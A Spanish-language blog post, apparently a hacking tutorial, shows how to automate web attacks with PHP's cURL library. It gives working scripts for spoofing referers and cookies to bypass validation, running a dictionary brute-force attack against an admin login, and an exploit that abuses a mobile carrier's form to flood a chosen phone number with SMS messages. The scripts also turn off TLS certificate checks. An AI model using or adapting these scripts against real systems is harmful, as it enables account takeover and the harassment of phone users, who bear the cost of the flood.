Laboratorio de vulnerabilidades y escritura de shells & exploits, desde mis gustos digo que es lo más interesante de la seguridad informática.
Después de encontrar una vulnerabilidad y explotarla manualmente, viene la pregunta: ¿cómo automatizo el ataque?. En lo que a web respecta, pudiéramos necesitar un script que lance un ataque de fuerza bruta con determinados campos POST que van más allá de los de usuario y password, o quizás el ataque necesite repetir X cantidad de veces una petición, o ejecutar diferentes acciones según la respuesta que recibe por parte del servidor...o trabajar sobre HTTPS y un largo etcétera.
¿Podemos codear un script en python? si, podemos... pero también hay otra alternativa que particularmente a mà me gusta mucho y permite resolver las situaciones anteriores (y muchas más) con gran velocidad y en pocas lÃneas de código: la librerÃa cURL con PHP.
A continuación un ejemplo básico de conexión con cURL donde mostramos en pantalla la respuesta del servidor web:
<?php $url = "http://www.semecayounexploit.com"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); print curl_exec($ch); curl_close($ch); ?>
Veamos cómo a esta conexión podemos añadirle un referer y una cookie, lo que podrÃa ser útil para saltar alguna validación a través del referer e indicarle a la aplicación que somos determinado usuario o tenemos una sesión valida:
<?php $url = "http://www.semecayounexploit.com/admin"; $referer = "http://www.semecayounexploit.com"; $cookie = "cookie=valor"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_COOKIE, $cookie); print curl_exec($ch); curl_close($ch); ?>
Veamos como automatizar con cURL un ataque de diccionario (de paso vemos cómo añadir campos a enviar por POST):
<?php $url = "http://www.semecayounexploit.com/admin"; $referer = "http://www.semecayounexploit.com"; $cookie = "cookie=valor"; $usuario = "admin"; $diccionario = file_get_contents("diccionario.txt"); $palabras = explode("\n",$diccionario); foreach ($palabras as $clave){ $POST = "usuario=".$usuario."&pass=".$clave."&otrocampo=tehackeo&..."; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_POSTFIELDS, $POST); /*LÃnea para almacenar la respuesta en una variable y luego procesarla*/ curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); /* Si el login va por HTTPS también agregar la siguiente lÃnea: */ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $respuesta = curl_exec($ch); if (preg_match("/Error/",$respuesta)){ //Login invalido print "Probando usuario: $usuario clave: $clave ---> FALLÃ?"; }else{ print "Probando usuario: $usuario clave: $clave ---> ENCONTRADA!"; exit(); } curl_close($ch); } ?>
Además de mostrar el envÃo de campos por POST, en el script de arriba podemos observar cómo almacenar la respuesta de la conexión para buscar en ella determinada string y actuar en consecuencia. En este caso solo buscamos una cadena de error para verificar si le pegamos con la clave o no, pero, por ejemplo en algunos exploits que he programado donde era necesario ejecutar algunos pasos previos a la explotación de la falla en la aplicación vulnerable, me ha sido útil capturar y analizar la respuesta de manera que pueda determinar cómo continuar y asà llevar a cabo todo el procedimiento correctamente.
Por otro lado, en los casos que se use HTTPS tendremos que agregar la lÃnea: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);.
Para finalizar dejo a modo de ejemplo un pequeño exploit que aprovecha una falla encontrada en el sitio de una compañÃa de telefonÃa móvil que permite realizar un Flood SMS a sus clientes:
<?php set_time_limit(0); $area = $_GET["area"]; $numero = $_GET["numero"]; $cantidad_sms = $_GET["cantidad"]; $url = "https://vulnerable.com/xyz.aspx"; $referer = "https://vulnerable.com/xyz.aspx"; $post = "CodigoArea=".$area."&NumeroCelular=".$numero."&Siguiente=Continuar"; $cookie = "cookie=valor"; for($f=1;$f<=$cantidad_sms;$f++){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_exec($ch); curl_close($ch); } ?>
Para mis amigos fans de Python: PycURL.